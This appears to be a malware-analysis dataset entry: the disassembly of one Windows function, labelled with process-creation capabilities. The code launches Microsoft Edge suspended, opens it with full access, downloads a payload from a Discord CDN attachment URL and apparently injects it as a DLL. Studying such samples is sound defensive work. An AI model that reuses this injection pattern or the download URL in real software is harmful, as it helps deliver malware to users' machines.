Function at 0x140011866
Capabilities:
Create process on windows
Create process suspended

Disassembly:
jmp 0x1400196d0
push rbp
push rdi
sub rsp, 0x2b8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x6a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002f040]
xor rax, rbp
mov qword [rbp + 0x258], rax
lea rcx, [0x140036102]
call fcn.14001191f
nop
lea rdx, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
lea rcx, [rbp + 8]
call fcn.14001130c
nop
lea rdx, str.https:__cdn.discordapp.com_attachments_1190009089598705844_1305711859583946792_teste.exe_ex6734af2eis67335daehm0bf2ee54739db700ef99399a7ea8d8e06463086a6d03f3c4fd5ca52a2945aff8
lea rcx, [rbp + 0x48]
call fcn.14001130c
nop
mov edx, 0x20
lea rcx, [rbp + 0x88]
call fcn.14001108c
lea rcx, [rbp + 0x88]
call fcn.140011681
nop
lea rcx, [rbp + 8]
call fcn.14001166d
movzx eax, al
test eax, eax
jne 0x1400198f1
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0xd0]
call fcn.14001171c
nop
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x158]
call fcn.14001171c
nop
lea rcx, [rbp + 8]
call fcn.14001131b
lea rcx, [rbp + 0x158]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0xd0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14001980a
lea rcx, [rbp + 0x88]
call fcn.1400112cb
nop
lea rcx, [rbp + 0x48]
call fcn.140011825
nop
lea rcx, [rbp + 8]
call fcn.140011825
nop
jmp 0x140019912
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x188], rax
cmp qword [rbp + 0x188], 0
jne 0x140019863
lea rcx, [rbp + 0x88]
call fcn.1400112cb
nop
lea rcx, [rbp + 0x48]
call fcn.140011825
nop
lea rcx, [rbp + 8]
call fcn.140011825
nop
jmp 0x140019912
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x48]
call fcn.140011398
movzx eax, al
test eax, eax
jne 0x1400198c1
lea rdx, str.Failed_to_download_DLL.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400114ec
lea rdx, [0x1400114ab]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x88]
call fcn.1400112cb
nop
lea rcx, [rbp + 0x48]
call fcn.140011825
nop
lea rcx, [rbp + 8]
call fcn.140011825
nop
jmp 0x140019912
lea rcx, [rbp + 0x88]
call fcn.1400119dd
mov rdx, rax
mov rcx, qword [rbp + 0x188]
call fcn.14001114a
movzx eax, al
test eax, eax
jne 0x1400198f1
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x88]
call fcn.1400112cb
nop
lea rcx, [rbp + 0x48]
call fcn.140011825
nop
lea rcx, [rbp + 8]
call fcn.140011825
nop
lea rcx, [rbp - 0x50]
lea rdx, [0x1400295e0]
call fcn.1400117d0
mov rcx, qword [rbp + 0x258]
xor rcx, rbp
call fcn.1400114a1
lea rsp, [rbp + 0x268]
pop rdi
pop rbp
ret